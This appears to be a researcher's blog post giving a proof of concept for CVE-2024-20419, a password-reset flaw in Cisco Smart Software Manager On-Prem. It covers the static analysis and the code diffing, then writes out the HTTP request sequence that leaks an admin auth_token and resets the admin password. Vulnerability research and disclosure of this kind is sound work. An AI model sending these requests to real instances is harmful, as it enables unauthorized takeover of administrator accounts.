CVE-2024-20419 POC

Posted on Jul 23, 2024
tl;dr: The password reset workflow has the following steps: the user requests to change their password, an OTP code is generated and sent to their email address. If they validate their code, they will receive an `auth_token` which can be used to reset the password. However, in versions before 8-202212 the `auth_token` gets leaked when generating the OTP code.

Finding about the CVE and starting to binwalk

I found about this CVE on 23 July, while scrolling on my phone. DNSC published an aricle about two critical vulnerabilities in CISCO. CVE-2024-20419 stood out to me as it had a 10.0 CVSS score, and yet I found out about it almost a week after it was published. Also, at a quick search I couldn’t find any public POC for it.

Judging by the fact that it was marked as easy to exploit, I thought maybe I give it a try to find a POC myself. How hard could it be, right?

I went to the vendors official page to download the first fixed version (8-202212) and the last vulnerable one (8-202206). The vendor provides an iso and the steps to deploy it, however, running two virtual machines in parallel with my aready running Kali machine might have been too much for my laptop. That’s why I decided for beginning to perform some static analysis.

Now, it was time for some binwalking to find any source code/binaries in the provided iso.

Looking through the files extracted, I found a squashfs file system. Right away mounted it, but to my surprise it was just a standard CENTOS file system.

The last directory I looked into was iso-root/hardening/ as the hardening name didn’t suggest to me the possiblity of having any files of interest for my goal.

First, let me share a quick fact about Smart Software Manager On-Prem, it used to be called Smart Software Manager Satellite.

In the hardening directory I found the following interesting archive: satellite-install.tgz (now, you can guess why this archive seemed interesting). After extracting its contents I had the following files:

❯ ls
ares                                        db                                          ipv6nat                                     satellite-install.sh                        typhaon
backend                                     docker-compose.yml                          onprem-console                              services.img
build.txt                                   fluentd                                     pw.env                                      ssl
cerberus-8_202112-20220720212433.x86_64.rpm frontend                                    redis                                       tacacs-client

The contents of satellite-install.sh are:

#!/bin/bash

# Generate password env file
cat << EOP > /home/deployer/atlantis/pw.env
SECRET_KEY_BASE=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 128)
POSTGRES_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
ATLANTIS_DATABASE_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
PDB_PASSWORD=$(tr -dc A-Za-z0-9_ < /dev/urandom | head -c 16)
EOP
chmod 400 /home/deployer/atlantis/pw.env

# Install Cerberus
rpm -Uvh ./cerberus-*.rpm

# Install OnPrem Console
cp -a ./onprem-console /opt
chown root:root -R /opt/onprem-console
restorecon -R /opt/onprem-console
ln -nsf /opt/onprem-console/bin/onprem-console /usr/local/bin/onprem-console

#SAV-10749 support database backup for nonsudousers
echo "%onprem         ALL = NOPASSWD: /opt/onprem-console/scripts/backup_database.sh"> /etc/sudoers.d/onprem

# Make runtime environment aware of build target environment
echo "TARGET_ENV=prod" >> /etc/environment

# Placeholder docker context directory to satisfy docker-compose up
mkdir /home/deployer/atlantis/{db,backend,frontend,ipv6nat,redis,typhaon,ares,fluentd,tacacs-client}

# Load docker images
docker load --input ./services.img

I generated the pw.env file, loaded the docker images from services.img and with some tweaks to the docker-compose file, I could actually deploy the images on my macintosh machine.

First, I interacted with the login page to see its flow. I couldn’t reset the password of the admin user as it didn’t have no email associated with it, yet I still learned something out of this: some of the paths involved in the reset password mechanism.

Out of all the containers running after deploying backend and gobackend seemed that they could store the source code/binaries behind this. Some greps later, I found that the source code for the app lives in the backend docker image and its written in Ruby.

I extracted the code to my local machine and then repeated the process for the patched version.

Diffing the code

I quickly diffed the two versions of the code to find any interesting differences.

The first relevant difference I found was in the User model class. Here, a new function was defined, that decided if a user can actually reset their password or not.

can reset function

The second difference, was in the reset_password_service.rb.

reset service reset service

The changes from the reset password service were quite subtle, and I still couldn’t put the finger on what was the change that fixed this vulnerability.

The answer was right in front of our face

I decided to interact a little with the two instances. After going through the password reset flow from the beginning to the end, the changes was clear, and I realised that it was right in front of my face.

The auth_token is all that is needed to succesfully reset the password of a user. This token gets leaked when we generate a OTP code via the get_authtoken function.

Also, because the lack of a check wether a user can or can’t reset its password in the user model, we can bypass the error message I encountered earlier by simply making the /backend requests. We know that all instances of CISCO SSM should have an admin user, which makes this even more dangerous and easier to exploit.

Putting these things together, we can generate a probable POC to exploit this vulnerability.

Validating the POC

First, we have to get the XSRF-TOKEN and lic_engine_session cookie. At first, I tried the POC without these and I got hit by an error. However, looking through the Burp Proxy HTTP History I saw that before making the request to generate an OTP code, a request to /backend/settings/oauth_adfs?hostname=localhost is made.

GET /backend/settings/oauth_adfs?hostname=localhost HTTP/1.1
Host: localhost:8443
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept: application/json
Content-Type: application/json
Accept-Language: en-GB
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

The response should contain the following headers:

Set-Cookie: XSRF-TOKEN=Yr6InPJwESPfYoR52a%2Bxk4ysZOywkHzW8YlhBtSACD9HnhZ4atrqFMrjsROMbtUKpwLPKmqokmVrWiQlMOCX%2FQ%3D%3D; path=/
Set-Cookie: _lic_engine_session=48787c9a7e0f5685e77f3203c208b777; path=/; HttpOnly

Then, we make a request using the XSRF-TOKEN and lic_engine_session that we extracted earlier to the /backend/reset_password/generate_code endpoint, to get the auth_token.

POST /backend/reset_password/generate_code HTTP/1.1
Host: localhost:8443
Cookie: XSRF-TOKEN=<XSRF_TOKEN>; _lic_engine_session=<LIC_TOKEN>
Content-Length: 15
X-Xsrf-Token: <XSRF_TOKEN>;
Sec-Ch-Ua-Mobile: ?0
Content-Type: application/json
Accept: application/json
Connection: keep-alive

{"uid":"admin"}
HTTP/1.1 200 OK

...

{"uid":"admin","auth_token":"<AUTH_TOKEN>"}

Now, with the auth_token we got we can make the reset password request:

POST /backend/reset_password HTTP/1.1
Host: localhost:8443
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: application/json
Connection: keep-alive
Content-Type: application/json
X-Xsrf-Token: <XSRF_TOKEN>
Cookie: _lic_engine_session=<LIC_TOKEN>; XSRF-TOKEN=<XSRF_TOKEN>
Content-Length: 192

{"uid": "admin", "auth_token": "AUTH_TOKEN", "password": "Test1234567890!", "password_confirmation": "Test1234567890!", "common_name": ""}

If everything is alright we should get the following response:

HTTP/1.1 200 OK
...
{"status":"OK"}

Make sure to patch your instances if you have any, as this is a trivial exploit with tremendous consequences.